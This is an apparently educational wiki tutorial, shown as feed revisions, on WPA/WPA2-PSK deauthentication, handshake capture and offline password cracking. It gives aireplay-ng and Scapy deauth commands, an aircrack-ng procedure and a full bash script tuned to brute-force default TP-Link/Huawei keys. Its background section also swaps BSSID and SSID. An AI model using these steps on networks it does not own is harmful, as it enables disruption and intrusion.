&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17560</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17560"/>
		<updated>2024-12-18T17:41:58Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Put your interface in monitor mode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
